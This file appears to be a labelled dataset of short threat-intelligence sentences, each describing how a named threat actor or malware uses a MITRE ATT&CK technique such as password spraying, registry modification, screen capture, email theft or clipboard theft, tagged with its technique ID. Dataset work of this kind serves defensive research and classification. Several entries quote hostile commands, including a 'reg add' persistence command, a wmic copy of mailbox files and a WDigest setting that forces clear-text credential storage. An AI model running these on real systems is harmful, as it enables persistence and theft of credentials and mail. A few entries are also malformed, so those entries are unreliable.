+CrackMapExec can brute force credential authentication by using a supplied list of usernames and a single password.	['T1110.003']
+HEXANE has used password spraying attacks to obtain valid credentials.	['T1110.003']
+Lazarus Group malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.	['T1110.003']
+Leafminer used a tool called Total SMB BruteForcer to perform internal password spraying.	['T1110.003']
+Linux Rabbit brute forces SSH passwords in order to attempt to gain access and install its malware onto the server.	['T1110.003']
+Sandworm Team has used a script to attempt RPC authentication against a number of hosts.	['T1110.003']
+Silent Librarian has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets.	['T1110.003']
+Chimera has used credential stuffing against victim's remote services to obtain valid accounts.	['T1110.004']
+TrickBot uses brute-force attack against RDP with rdpscanDll module.	['T1110.004']
+Chimera has registered alternate phone numbers for compromised users to intercept 2FA codes sent via SMS.	['T1111']
+LAPSUS$ has replayed stolen session token and passwords to trigger simple-approval MFA prompts in hope of the legitimate user will grant necessary approval.	['T1111']
+Operation Wocao has used a custom collection method to intercept two-factor authentication soft tokens.	['T1111']
+Sykipot is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.	['T1111']
+A Patchwork payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.	['T1112']
+ADVSTORESHELL is capable of setting and deleting Registry values.	['T1112']
+APT19 uses a Port 22 malware variant to modify several Registry keys.	['T1112']
+APT41 used a malware variant called GOODLUCK to modify the registry in order to steal credentials.	['T1112']
+Agent Tesla can achieve persistence by modifying Registry key entries.	['T1112']
+Amadey has overwritten registry keys for persistence.	['T1112']
+Attor's dispatcher can modify the Run registry key.	['T1112']
+BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system.	['T1112']
+"BADCALL modifies the firewall Registry key ""SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\\List""."	['T1112']
+"Bankshot writes data into the Registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Pniumj""."	['T1112']
+BitPaymer can set values in the Registry to help in execution.	['T1112']
+Blue Mockingbird has used Windows Registry modifications to specify a DLL payload.	['T1112']
+"CSPY Downloader can write to the Registry under the ""%windir%"" variable to execute tasks."	['T1112']
+"Cardinal RAT sets ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load"" to point to its executable."	['T1112']
+Caterpillar WebShell has a command to modify a Registry key.	['T1112']
+CharmPower can remove persistence-related artifacts from the Registry.	['T1112']
+Clambling can set and delete Registry keys.	['T1112']
+Clop can make modifications to Registry keys.	['T1112']
+ComRAT has encrypted and stored its orchestrator code in the Registry as well as a PowerShell script into the WsqmCons Registry key.	['T1112']
+"Conficker adds keys to the Registry at ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"" and various other Registry locations."	['T1112']
+CrackMapExec can create a registry key using wdigest.	['T1112']
+Crimson can set a Registry key to determine how long it has been installed and possibly to indicate the version number.	['T1112']
+DCSrv has created Registry keys for persistence.	['T1112']
+During Operation Honeybee, the threat actors used batch files that modified registry keys.	['T1112']
+EVILNUM can make modifications to the Regsitry for persistence.	['T1112']
+"Earth Lusca modified the registry using the command ""reg add “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “[file path]”"" for persistence."	['T1112']
+Ember Bear has used an open source batch script to modify Windows Defender registry keys.	['T1112']
+Exaramel for Windows adds the configuration to the Registry in XML format.	['T1112']
+Explosive has a function to write itself to Registry values.	['T1112']
+"FELIXROOT deletes the Registry key ""HKCU\Software\Classes\Applications\rundll32.exe\shell\open""."	['T1112']
+Ferocious has the ability to add a Class ID in the current user Registry hive to enable persistence mechanisms.	['T1112']
+Gelsemium has the ability to store its components in the Registry.	['T1112']
+"Gorgon Group malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under ""HKCU\Software\Microsoft\Office\""."	['T1112']
+"Grandoreiro can store its configuration in the Registry at ""HKCU\Software\"" under frequently changing names including ""%USERNAME%"" and ""ToolTech-RM""."	['T1112']
+GreyEnergy modifies conditions in the Registry and adds keys.	['T1112']
+HOPLIGHT has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.	['T1112']
+HermeticWiper has the ability to modify Registry keys to disable crash dumps, colors for compressed files, and pop-up information about folders and desktop items.	['T1112']
+Honeybee uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.	['T1112']
+Hydraq creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. Hydraq's backdoor also enables remote attackers to modify and delete subkeys.	['T1112']
+"HyperStack can add the name of its communication pipe to ""HKLM\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\NullSessionPipes""."	['T1112']
+InvisiMole has a command to create, set, copy, or delete a specified Registry key or value.	['T1112']
+"KEYMARBLE has a command to create Registry entries for storing data under ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath""."	['T1112']
+KONNI has modified registry keys of ComSysApp, Svchost, and xmlProv on the machine to gain persistence.	['T1112']
+Kimsuky has modified Registry settings for default file associations to enable all macros and for persistence.	['T1112']
+"LoJax has modified the Registry key ""‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’"" from ""‘autocheck autochk *’"" to ""‘autocheck autoche *’""."	['T1112']
+Magic Hound has modified Registry settings for security tools.	['T1112']
+MegaCortex has added entries to the Registry for ransom contact information.	['T1112']
+Metamorfo has written process names to the Registry, disabled IE browser features, deleted Registry keys, and changed the ExtendedUIHoverTime key.	['T1112']
+"Mosquito stores configuration values under the Registry key ""HKCU\Software\Microsoft\[dllname]"" and modifies Registry keys under ""HKCR\CLSID\...\InprocServer32""with a path to the launcher."	['T1112']
+NETWIRE stores its configuration file within the Registry.	['T1112']
+NanoCore has the capability to edit the Registry.	['T1112']
+Neoichor has the ability to configure browser settings by modifying Registry entries under `HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer`.	['T1112']
+Nerex creates a Registry subkey that registers a new service.	['T1112', 'T1543.003']
+"Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting ""SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy"" to 1."	['T1112']
+Operation Wocao has enabled Wdigest by changing the registry value from 0 to 1.	['T1112']
+Orz can perform Registry operations.	['T1112']
+PHOREAL is capable of manipulating the Registry.	['T1112']
+"PLAINTEE uses ""reg add"" to add a Registry Run key for persistence."	['T1112']
+"Pillowmint has stored its malicious payload in the registry key ""HKLM\SOFTWARE\Microsoft\DRM""."	['T1112']
+PipeMon has stored its encrypted payload in the Registry.	['T1112']
+PlugX has a module to create, delete, or modify Registry keys.	['T1112']
+PoetRAT has made registry modifications to alter its behavior upon execution.	['T1112']
+PoisonIvy creates a Registry subkey that registers a new system device.	['T1112']
+PolyglotDuke can write encrypted JSON configuration files to the Registry.	['T1112']
+PowerShower has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process.	['T1112']
+QuasarRAT has a command to edit the Registry on the victim’s machine.	['T1112']
+REvil can save encryption parameters and system information to the Registry.	['T1112']
+ROKRAT can modify the `HKEY_CURRENT_USER\Software\Microsoft\Office\` registry key so it can bypass the VB object model (VBOM) on a compromised host.	['T1112']
+Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.	['T1112']
+RegDuke can store its encryption key in the Registry.	['T1112']
+Regin appears to have functionality to modify remote Registry information.	['T1112']
+Remcos has full control of the Registry, including the ability to modify it.	['T1112']
+Rover has functionality to remove Registry Run key persistence as a cleanup procedure.	['T1112']
+SILENTTRINITY can modify registry keys, including to enable or disable Remote Desktop Protocol (RDP).	['T1112']
+SMOKEDHAM has modified registry keys for persistence, to enable credential caching for credential access, and to facilitate lateral movement via RDP.	['T1112']
+SOUNDBITE is capable of modifying the Registry.	['T1112']
+"SUNBURST had commands that allow an attacker to write or delete registry keys, and was observed stopping services by setting their ""HKLM\SYSTEM\CurrentControlSet\services\\[service_name]\\Start"" registry entries to value 4. It also deleted previously-created Image File Execution Options (IFEO) Debugger registry values and registry keys related to HTTP proxy to clean up traces of its activity."	['T1112']
+ShimRat has registered two registry keys for shim databases.	['T1112']
+"Sibot has installed a second-stage script in the ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot"" registry key."	['T1112']
+Silence can create, delete, or modify a specified Registry key or value.	['T1112']
+SynAck can manipulate Registry keys.	['T1112']
+"SysUpdate can write its configuration file to ""Software\Classes\scConfig"" in either ""HKEY_LOCAL_MACHINE"" or ""HKEY_CURRENT_USER""."	['T1112']
+TA505 has used malware to disable Windows Defender through modification of the Registry.	['T1112']
+"TYPEFRAME can install encrypted configuration data under the Registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"" and ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs""."	['T1112']
+"Taidoor has the ability to modify the Registry on compromised hosts using ""RegDeleteValueA"" and ""RegCreateKeyExA""."	['T1112']
+"TajMahal can set the ""KeepPrintedJobs"" attribute for configured printers in ""SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers"" to enable document stealing."	['T1112']
+Tarrask is able to delete the Security Descriptor (`SD`) registry subkey in order to “hide” scheduled tasks.	['T1112']
+ThreatNeedle can save its configuration data as the following RC4-encrypted Registry key: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameCon`.	['T1112']
+TinyTurla can set its configuration parameters in the Registry.	['T1112']
+TrickBot can modify registry entries.	['T1112']
+Turla has used the Registry to store encrypted payloads.	['T1112']
+"Valak has the ability to modify the Registry key ""HKCU\Software\ApplicationContainer\Appsw64"" to store information regarding the C2 server and downloads."	['T1112']
+"Volgmer stores the encoded configuration file in the Registry key ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Security""."	['T1112']
+WarzoneRAT can create `HKCU\Software\Classes\Folder\shell\open\command` as a new registry key during privilege escalation.	['T1112']
+"WastedLocker can modify registry values within the ""Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap"" registry key."	['T1112']
+Waterbear has deleted certain values from the Registry to load a malicious DLL.	['T1112']
+"Wizard Spider has modified the Registry key ""HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest"" by setting the ""UseLogonCredential"" registry value to ""1"" in order to force credentials to be stored in clear text in memory."	['T1112']
+"Zeus Panda modifies several Registry keys under ""HKCU\Software\Microsoft\Internet Explorer\ PhishingFilter\"" to disable phishing filters."	['T1112']
+creates a Registry subkey that registers a new system device.	['T1112', 'T1112']
+njRAT can create, delete, or modify a specified Registry key or value.	['T1112']
+zwShell can modify the Registry.	['T1112']
+"A JHUHUGIT variant takes screenshots by simulating the user pressing the ""Take Screenshot"" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image."	['T1113']
+A variant of Zebrocy captures screenshots of the victim’s machine in JPEG and BMP format.	['T1113']
+APT28 has used tools to take screenshots from victims.	['T1113']
+APT34 has a tool called CANDYKING to capture a screenshot of user's desktop.	['T1113']
+APT39 has used a screen capture utility to take screenshots on a compromised host.	['T1113']
+Agent Tesla can capture screenshots of the victim��s desktop.	['T1113']
+AppleSeed can take screenshots on a compromised host by calling a series of APIs.	['T1113']
+Aria-body has the ability to capture screenshots on compromised hosts.	['T1113']
+Attor's has a plugin that captures screenshots of the target applications.	['T1113']
+Azorult can capture screenshots of the victim’s machines.	['T1113']
+BADNEWS has a command to take a screenshot and send it to the C2 server.	['T1113']
+BISCUIT has a command to periodically take screenshots of the system.	['T1113']
+BLUELIGHT has captured a screenshot of the display every 30 seconds for the first 5 minutes after initiating a C2 loop, and then once every five minutes thereafter.	['T1113']
+BRONZE BUTLER has used a tool to capture screenshots.	['T1113']
+BadPatch captures screenshots in .jpg format and then exfiltrates them.	['T1113']
+Bandook is capable of taking an image of and uploading the current desktop.	['T1113']
+BlackEnergy is capable of taking screenshots.	['T1113']
+Cadelspy has the ability to capture screenshots and webcam photos.	['T1113']
+Cannon can take a screenshot of the desktop.	['T1113']
+Carbanak performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.	['T1113']
+Cardinal RAT can capture screenshots.	['T1113']
+Catchamas captures screenshots based on specific keywords in the window’s title.	['T1113']
+Chaes can capture screenshots of the infected machine.	['T1113']
+Chrommme has the ability to capture screenshots.	['T1113']
+Clambling has the ability to capture screenshots.	['T1113']
+"Cobalt Strike's ""beacon"" payload is capable of capturing screenshots."	['T1113']
+Cobalt Strike's Beacon payload is capable of capturing screenshots.	['T1113']
+ConnectWise can take screenshots on remote hosts.	['T1113']
+CosmicDuke takes periodic screenshots and exfiltrates them.	['T1113']
+Crimson contains a command to perform screen captures.	['T1113']
+CrossRAT is capable of taking screen captures.	['T1113']
+DOGCALL is capable of capturing screenshots of the victim's machine.	['T1113']
+Dark Caracal took screenshots using their Windows malware.	['T1113']
+Daserf can take screenshots.	['T1113']
+Derusbi is capable of performing screen captures.	['T1113']
+Dragonfly 2.0 has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).	['T1113']
+Dragonfly has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).	['T1113']
+Dragonfly has performed screen captures of victims.	['T1113']
+DustySky captures PNG screenshots of the main screen.	['T1113']
+Empire is capable of capturing screenshots on Windows and macOS systems.	['T1113']
+EvilGrab has the capability to capture screenshots.	['T1113']
+FinFisher takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.	['T1113']
+FlawedAmmyy can capture screenshots.	['T1113']
+FruitFly takes screenshots of the user's desktop.	['T1113']
+GOLD SOUTHFIELD has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.	['T1113']
+HALFBAKED can obtain screenshots from the victim.	['T1113']
+HotCroissant has the ability to do real time screen viewing on an infected host.	['T1113']
+Hydraq includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.	['T1113']
+HyperBro has the ability to take screenshots.	['T1113']
+InvisiMole can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.	['T1113']
+Janicab captured screenshots and sent them out to a C2 server.	['T1113']
+KONNI can take screenshots of the victim’s machine.	['T1113']
+Kasidet has the ability to initiate keylogging and screen captures.	['T1113']
+Kivars has the ability to capture screenshots on the infected host.	['T1113']
+LitePower can take system screenshots and save them to `%AppData%`.	['T1113']
+Lizar can take JPEG screenshots of an infected system.	['T1113']
+LookBack can take desktop screenshots.	['T1113']
+MacMa has used Apple’s Core Graphic APIs, such as `CGWindowListCreateImageFromArray`, to capture the user's screen and open windows.	['T1113']
+MacSpy can capture screenshots of the desktop over multiple monitors.	['T1113']
+Machete captures screenshots.	['T1113']
+Malware used by Group5 is capable of watching the victim's screen.	['T1113']
+Matryoshka is capable of performing screen captures.	['T1113']
+Metamorfo can collect screenshots of the victim’s machine.	['T1113']
+Micropsia takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.	['T1113']
+MuddyWater has used malware that can capture screenshots of the victim’s machine.	['T1113']
+NETWIRE can capture the victim's screen.	['T1113']
+ObliqueRAT can capture a screenshot of the current screen.	['T1113']
+OilRig has a tool called CANDYKING to capture a screenshot of user's desktop.	['T1113']
+POORAIM can perform screen capturing.	['T1113']
+POWRUNER can capture a screenshot from a victim.	['T1113']
+PcShare can take screen shots of a compromised machine.	['T1113']
+Peppy can take screenshots on targeted systems.	['T1113']
+PoetRAT has the ability to take screen captures.	['T1113']
+Prikormka contains a module that captures screenshots of the victim's desktop.	['T1113']
+Proton captures the content of the desktop with the screencapture binary.	['T1113']
+Pteranodon can capture screenshots at a configurable interval.	['T1113']
+Pupy can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.	['T1113']
+QuietSieve has taken screenshots every five minutes and saved them to the user's local Application Data folder under `Temp\SymbolSourceSymbols\icons` or `Temp\ModeAuto\icons`.	['T1113']
+RCSession can capture screenshots from a compromised host.	['T1113']
+RDAT can take a screenshot on the infected system.	['T1113']
+ROKRAT can capture screenshots of the infected system using the `gdi32` library.	['T1113']
+RTM can capture screenshots.	['T1113']
+Remexi takes screenshots of windows of interest.	['T1113']
+RemoteUtilities can take screenshots on a compromised host.	['T1113']
+"RogueRobin has a command named ""$screenshot"" that may be responsible for taking screenshots of the victim machine."	['T1113']
+"Rover takes screenshots of the compromised system's desktop and saves them to ""C:\system\screenshot.bmp"" for exfiltration every 60 minutes."	['T1113']
+SHUTTERSPEED can capture screenshots.	['T1113']
+SILENTTRINITY can take a screenshot of the current desktop.	['T1113']
+"SLOTHFULMEDIA has taken a screenshot of a victim's desktop, named it ""Filter3.jpg"", and stored it in the local directory."	['T1113']
+SMOKEDHAM can capture screenshots of the victim’s desktop.	['T1113']
+SharpStage has the ability to capture the victim's screen.	['T1113']
+Silence can capture victim screen activity.	['T1113']
+Sliver can take screenshots of the victim’s active display.	['T1113']
+Socksbot can take screenshots.	['T1113']
+StoneDrill can take screenshots.	['T1113']
+SysUpdate has the ability to capture screenshots.	['T1113']
+T9000 can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.	['T1113']
+TURNEDUP is capable of taking screenshots.	['T1113']
+TajMahal has the ability to take screenshots on an infected host including capturing content from windows of instant messaging applications.	['T1113']
+The FunnyDream ScreenCap component can take screenshots on a compromised host.	['T1113']
+TinyZBot contains screen capture functionality.	['T1113']
+"Trojan.Karagany can take a desktop screenshot and save the file into ""\ProgramData\Mail\MailAg\shot.png""."	['T1113']
+Turian has the ability to take screenshots.	['T1113']
+Ursnif has used hooked APIs to take screenshots.	['T1113']
+VERMIN can perform screen captures of the victim’s machine.	['T1113']
+Valak has the ability to take screenshots on a compromised host.	['T1113']
+XAgentOSX contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.	['T1113']
+"XCSSET saves a screen capture of the victim's system with a numbered filename and "".jpg"" extension. Screen captures are taken at specified intervals based on the system."	['T1113']
+ZLib has the ability to obtain screenshots of the compromised system.	['T1113']
+ZxShell can capture screenshots.	['T1113']
+jRAT has the capability to take screenshots of the victim’s machine.	['T1113']
+njRAT can capture screenshots of the victim’s machines.	['T1113']
+yty collects screenshots of the victim machine.	['T1113']
+Magic Hound has compromised email credentials in order to steal sensitive data.	['T1114']
+Silent Librarian has exfiltrated entire mailboxes from compromised accounts.	['T1114']
+APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files.	['T1114.001']
+Carbanak searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.	['T1114.001']
+"Chimera has harvested data from victim's e-mail including through execution of ""wmic /node:<ip> process call create ""cmd /c copy c:\Users\<username>\<path>\backup.pst c:\windows\temp\backup.pst"" copy ""i:\<path>\<username>\My Documents\<filename>.pst""
+copy""."	['T1114.001']
+CosmicDuke searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.	['T1114.001']
+Crimson contains a command to collect and exfiltrate emails from Outlook.	['T1114.001']
+Emotet has been observed leveraging a module that scrapes email data from Outlook.	['T1114.001']
+Empire has the ability to collect emails on a target system.	['T1114.001']
+Magic Hound has collected .PST archives.	['T1114.001']
+Pupy can interact with a victim’s Outlook session and look through folders and emails.	['T1114.001']
+QakBot can target and steal locally stored emails to support thread hijacking phishing campaigns.	['T1114.001']
+Smoke Loader searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).	['T1114.001']
+APT28 has collected emails from victim Microsoft Exchange servers.	['T1114.002']
+"APT29 collected emails from specific individuals, such as executives and IT staff, using ""New-MailboxExportRequest"" followed by ""Get-MailboxExportRequest""."	['T1114.002']
+"Chimera has harvested data from remote mailboxes including through execution of ""\\<hostname>\c$\Users\<username>\AppData\Local\Microsoft\Outlook*.ost""."	['T1114.002']
+Dragonfly 2.0 accessed email accounts using Outlook Web Access.	['T1114.002']
+FIN4 has accessed and hijacked online email communications using stolen credentials.	['T1114.002']
+HAFNIUM has used web shells to export mailbox data.	['T1114.002']
+Ke3chang has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes.	['T1114.002']
+Kimsuky has used tools such as the MailFetch mail crawler to collect victim emails (excluding spam) from online services via IMAP.	['T1114.002']
+Leafminer used a tool called MailSniper to search through the Exchange server mailboxes for keywords.	['T1114.002']
+LightNeuron collects Exchange emails matching rules specified in its configuration.	['T1114.002']
+Magic Hound has exported emails from compromised Exchange servers.	['T1114.002']
+MailSniper can be used for searching through email in Exchange and Office 365 environments.	['T1114.002']
+"UNC2452 collected emails from specific individuals, such as executives and IT staff, using ""New-MailboxExportRequest"" followed by ""Get-MailboxExportRequest""."	['T1114.002']
+Valak can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise.	['T1114.002']
+Kimsuky has set auto-forward rules on victim's e-mail accounts.	['T1114.003']
+LAPSUS$ has set an Office 365 tenant level mail transport rule to send all mail in and out of the targeted organization to the newly created account.	['T1114.003']
+Silent Librarian has set up auto forwarding rules on compromised e-mail accounts.	['T1114.003']
+A JHUHUGIT variant accesses a screenshot saved in the clipboard and converts it to a JPG image.	['T1115']
+APT38 used a Trojan called KEYLIME to collect data from the clipboard.	['T1115']
+APT39 has used tools capable of stealing contents of the clipboard.	['T1115']
+Agent Tesla can steal data from the victim’s clipboard.	['T1115']
+Attor has a plugin that collects data stored in the Windows clipboard by using the OpenClipboard and GetClipboardData APIs.	['T1115']
+Cadelspy has the ability to steal data from the clipboard.	['T1115']
+Catchamas steals data stored in the clipboard.	['T1115']
+Clambling has the ability to capture and store clipboard data.	['T1115']
+CosmicDuke copies and exfiltrates the clipboard contents every 30 seconds.	['T1115']
+DarkComet can steal data from the clipboard.	['T1115']
+Empire can harvest clipboard data on both Windows and macOS systems.	['T1115']
+Explosive has a function to use the OpenClipboard wrapper.	['T1115']
+FlawedAmmyy can collect clipboard data.	['T1115']
+KONNI had a feature to steal data from the clipboard.	['T1115']
+MacSpy can steal clipboard contents.	['T1115']
+Machete hijacks the clipboard data by creating an overlapped window that listens to keyboard events.	['T1115']
+MarkiRAT can capture clipboard content.	['T1115']
+Melcoz can monitor content saved to the clipboard.	['T1115']
+Metamorfo has a function to hijack data from the clipboard by monitoring the contents of the clipboard and replacing the cryptocurrency wallet with the attacker's.	['T1115']
+Operation Wocao has collected clipboard data in plaintext.	['T1115']
+ROKRAT can extract clipboard data from a compromised host.	['T1115']
+Remcos steals and modifies data from the clipboard.	['T1115']
+Remexi collects text from the clipboard.	['T1115']
+The executable version of Helminth has a module to log clipboard contents.	['T1115']
+TinyZBot contains functionality to collect information from the clipboard.	['T1115']
+VERMIN collects data stored in the clipboard.	['T1115']
+jRAT can capture clipboard data.	['T1115']
+A Helminth VBScript receives a batch script to execute a set of commands in a command prompt.	['T1119']
+APT1 used a batch script to perform a series of discovery techniques and saves it to a text file.	['T1119']
+APT28 used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.	['T1119', 'T1560']
+AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration.	['T1119']
+Attor has automatically collected data about the compromised system.	['T1119']
+BADNEWS monitors USB devices and copies files with certain extensions to a predefined directory.	['T1119']
+Bankshot recursively generates a list of files within a directory and sends them back to the control server.	['T1119']
+Confucius has used a file stealer to steal documents and images with the following extensions: txt, pdf, png, jpg, doc, xls, xlm, odp, ods, odt, rtf, ppt, xlsx, xlsm, docx, pptx, and jpeg.	['T1119']
+During Frankenstein, the threat actors used Empire to automatically gather the username, domain name, machine name, and other system information.	['T1119']
+During Operation Wocao, threat actors used a script to collect information about the infected system.	['T1119']
+FIN6 has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button.	['T1119']
+For all non-removable drives on a victim, USBStealer executes automated collection of certain files for later exfiltration.	['T1119']
+Frankenstein has enumerated hosts via Empire, gathering the username, domain name, machine name, and other system information.	['T1119']
+FunnyDream can monitor files for changes and automatically collect them.	['T1119']
+Gamaredon Group has deployed scripts on compromised systems that automatically scan for interesting documents.	['T1119']
+GoldFinder logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.	['T1119']
+InvisiMole can sort and collect specific documents as well as generate a list of all files on a newly inserted drive and store them in an encrypted file.	['T1119']
+Ke3chang has performed frequent and scheduled data collection from victim networks.	['T1119']
+MESSAGETAP checks two files, keyword_parm.txt and parm.txt, for instructions on how to target and save data parsed and extracted from SMS message data from the network traffic. If an SMS message contained either a phone number, IMSI number, or keyword that matched the predefined list, it is saved to a CSV file for later theft by the threat actor.	['T1119']
+Metamorfo has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.	['T1119']
+Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt).	['T1119']
+Mustang Panda used custom batch scripts to collect files automatically from a targeted system.	['T1119']
+OilRig has used automated collection.	['T1119']
+OutSteel can automatically scan for and collect files with specific extensions.	['T1119']
+Patchwork developed a file stealer to search C:\ and collect files with certain extensions. Patchwork also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.	['T1119']
+PoetRAT used file system monitoring to track modification and enable automatic exfiltration.	['T1119']
+PoshC2 contains a module for recursively parsing through files and directories to gather valid credit card numbers.	['T1119']
+RTM monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.	['T1119']
+Ramsay can conduct an initial scan for Microsoft Word documents on the local system, removable media, and connected network drives, before tagging and collecting them. It can continue tagging documents to collect with follow up scans.	['T1119']
+Sidewinder has used tools to automatically collect system and network configuration information.	['T1119']
+StrongPity has a file searcher component that can automatically collect and archive files based on a predefined list of file extensions.	['T1119']
+TajMahal has the ability to index and compress files into a send queue for exfiltration.	['T1119']
+VERMIN saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .	['T1119']
+Valak can download a module to search for and build a report of harvested credential data.	['T1119']
+WindTail can identify and add files that possess specific file extensions to an array for archiving.	['T1119']
+Zebrocy scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.	['T1119']
+ccf32 can be used to automatically collect files from a compromised host.	['T1119']
+ADVSTORESHELL can list connected devices.	['T1120']
+APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim.	['T1120']
+APT37 has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices.	['T1120']
+Attor has a plugin that collects information about inserted storage devices, modems, and phone devices.	['T1120']
+BADNEWS checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.	['T1120']
+BackdoorDiplomacy has used an executable to detect removable media, such as USB flash drives.	['T1120']
+Bandook can detect USB devices.	['T1120']
+BlackEnergy can gather very specific information about attached USB devices, to include device instance ID and drive geometry.	['T1120']
+Cadelspy has the ability to steal information about printers and the documents sent to printers.	['T1120']
+Crimson has the ability to discover pluggable/removable drives to extract files from.	['T1120']
+Crutch can monitor for removable drives being plugged into the compromised machine.	['T1120']
+During Operation Wocao, threat actors discovered removable disks attached to a system.	['T1120']
+DustySky can detect connected USB devices.	['T1120']
+Equation has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.	['T1120']
+"Ferocious can run ""GET.WORKSPACE"" in Microsoft Excel to check if a mouse is present."	['T1120']
+FlawedAmmyy will attempt to detect if a usable smart card is current inserted into a card reader.	['T1120']
+Mongall can identify removable media attached to compromised hosts.	['T1120']
+MoonWind obtains the number of removable drives from the victim.	['T1120']
+ObliqueRAT can discover pluggable/removable drives to extract files from.	['T1120']
+OilRig has used tools to identify if a mouse is connected to a targeted system.	['T1120']
+Operation Wocao has discovered removable disks attached to a system.	['T1120']
+QakBot can identify peripheral devices on targeted systems.	['T1120']
+QuietSieve can identify and search removable drives for specific file name extensions.	['T1120']
+RTM can obtain a list of smart card readers attached to the victim.	['T1120']
+Ragnar Locker may attempt to connect to removable drives and mapped network drives.	['T1120']
+Ramsay can scan for removable media which may contain documents for collection.	['T1120']
+Stuxnet enumerates removable drives for infection.	['T1120']
+T9000 searches through connected drives for removable storage devices.	['T1120']
+TajMahal has the ability to identify connected Apple devices.	['T1120']
+TeamTNT has searched for attached VGA devices using lspci.	['T1120']
+"Turla has used ""fsutil fsinfo drives"" to list connected drives."	['T1120']
+USBStealer monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.	['T1120']
+USBferry can check for connected USB devices.	['T1120']
+WannaCry contains a thread that will attempt to scan for new attached drives every few seconds. If one is identified, it will encrypt the files on the attached device.	['T1120']
+WastedLocker can enumerate removable drives prior to the encryption process.	['T1120']
+"XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running ""ls -la ~/Library/Application\ Support/MobileSync/Backup/""."	['T1120']
+Zebrocy enumerates information about connected storage devices.	['T1120']
+jRAT can map UPnP ports.	['T1120']
+APT37 has used an audio capturing utility known as SOUNDWAVE that captures microphone input.	['T1123']
+Attor's has a plugin that is capable of recording audio using available input sound devices.	['T1123']
+Cadelspy has the ability to record audio from the compromised host.	['T1123']
